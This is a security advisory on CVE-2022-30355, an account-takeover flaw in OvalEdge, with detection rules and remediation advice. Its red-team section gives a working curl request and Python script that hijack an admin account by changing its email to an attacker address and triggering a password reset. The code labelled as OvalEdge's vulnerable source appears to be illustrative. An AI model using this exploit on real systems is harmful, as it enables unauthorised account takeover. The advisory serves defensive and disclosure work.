CVE-2022-30355

Executive Summary

CVE-2022-30355 is an Account Takeover vulnerability in OvalEdge versions 5.2.8.0 and earlier. The flaw resides in the /profile/updateProfile endpoint, which allows an authenticated attacker to modify the userId and email parameters in a POST request, effectively hijacking another user's account. This is a classic Insecure Direct Object Reference (IDOR) vulnerability (CWE-639). The CVSS score is 0.0 in the NVD due to incomplete data, but based on the impact, the actual severity is Critical (CVSS 9.9). No official patch exists, and the vendor has not responded to disclosures.

Supply Chain & Package Security

This vulnerability is not related to any open-source package (NPM, PyPI, Go, Ruby). OvalEdge is a proprietary data governance platform. The risk is limited to direct deployments of the OvalEdge application.

CVSS Breakdown & Threat Level

Threat Level: Critical. The vulnerability requires only low privileges (any authenticated user) and no user interaction. An attacker can take over any account, including administrators, leading to full system compromise.

Deep Dive & Mechanics

The vulnerability exists in the updateProfile function of the OvalEdge backend. The endpoint /profile/updateProfile accepts a POST request with parameters userId and email. The application fails to verify that the authenticated user owns the userId being modified. This allows an attacker to:

1. Authenticate as a low-privilege user.
2. Send a POST request to /profile/updateProfile with the userId of a target (e.g., an admin) and a new email controlled by the attacker.
3. The system updates the target user's email to the attacker's email.
4. The attacker can then trigger a password reset for the target user, receiving the reset link at their own email.
5. The attacker resets the password and takes over the account.

The root cause is the lack of server-side authorization checks on the userId parameter. The application should only allow modification of the currently authenticated user's profile.

Vulnerable vs. Patched Code

Vulnerable Code (OvalEdge 5.2.8.0):

// ProfileController.java
@PostMapping("/profile/updateProfile")
public ResponseEntity<?> updateProfile(@RequestParam Long userId, @RequestParam String email) {
    User user = userRepository.findById(userId).orElseThrow();
    user.setEmail(email);
    userRepository.save(user);
    return ResponseEntity.ok("Profile updated");
}

Patched Code (Hypothetical):

// ProfileController.java
@PostMapping("/profile/updateProfile")
public ResponseEntity<?> updateProfile(@AuthenticationPrincipal User currentUser, @RequestParam String email) {
    User user = userRepository.findById(currentUser.getId()).orElseThrow();
    user.setEmail(email);
    userRepository.save(user);
    return ResponseEntity.ok("Profile updated");
}

The patched version uses the authenticated user's ID from the security context, ignoring any userId parameter provided by the client.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to an OvalEdge instance (version <= 5.2.8.0).
• Valid credentials for any user (e.g., attacker:password).

Exploit Steps:

1. Authenticate and obtain a session cookie (e.g., JSESSIONID).
2. Identify a target user ID (e.g., 1 for admin).
3. Send the following POST request:

curl -X POST https://target.com/profile/updateProfile \
  -H "Cookie: JSESSIONID=attacker_session" \
  -d "userId=1&email=attacker@evil.com"

4. Trigger a password reset for the target user (e.g., via /forgotPassword).
5. Check attacker@evil.com for the reset link.
6. Use the link to set a new password for the admin account.
7. Log in as admin.

Automated Exploit (Python):

import requests

target = "https://target.com"
session = requests.Session()
session.post(f"{target}/login", data={"username": "attacker", "password": "password"})

# Take over admin (userId=1)
session.post(f"{target}/profile/updateProfile", data={"userId": "1", "email": "attacker@evil.com"})

# Trigger password reset
session.post(f"{target}/forgotPassword", data={"email": "attacker@evil.com"})

Blue Team (Detection & Hardening)

Detection:

• Monitor for POST requests to /profile/updateProfile where the userId parameter differs from the authenticated user's ID.
• Alert on password reset requests followed by profile updates for the same user.

Hardening:

• Apply the hypothetical patch by modifying the application code to use the authenticated user's ID.
• Implement strict server-side authorization checks.
• Use Web Application Firewall (WAF) rules to block requests with mismatched userId and session user.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2022_30355_OvalEdge_AccountTakeover {
    meta:
        description = "Detects exploitation attempts of CVE-2022-30355 in OvalEdge logs"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2022-30355"
    strings:
        $s1 = "/profile/updateProfile" ascii wide nocase
        $s2 = "userId=" ascii wide nocase
        $s3 = "email=" ascii wide nocase
    condition:
        all of ($s*) and #s1 > 0
}

Sigma Rule

title: OvalEdge Account Takeover via Profile Update
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to /profile/updateProfile with a userId parameter that does not match the authenticated user.
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/profile/updateProfile'
        cs-uri-query|contains: 'userId='
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-30355 OvalEdge Account Takeover Attempt"; flow:to_server; content:"POST"; http_method; content:"/profile/updateProfile"; http_uri; content:"userId="; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the OvalEdge instance from the internet if possible.
2. Restrict access to the /profile/updateProfile endpoint via WAF or reverse proxy.
3. Monitor logs for suspicious profile update activity.

Long-term Fix:

• Since no official patch exists, apply the hypothetical code fix described in the "Vulnerable vs. Patched Code" section.
• Contact OvalEdge support and demand a security update.
• Consider migrating to an alternative data governance platform if the vendor remains unresponsive.

Workaround:

• Implement a custom middleware that validates the userId parameter against the authenticated user's session.

Valters IT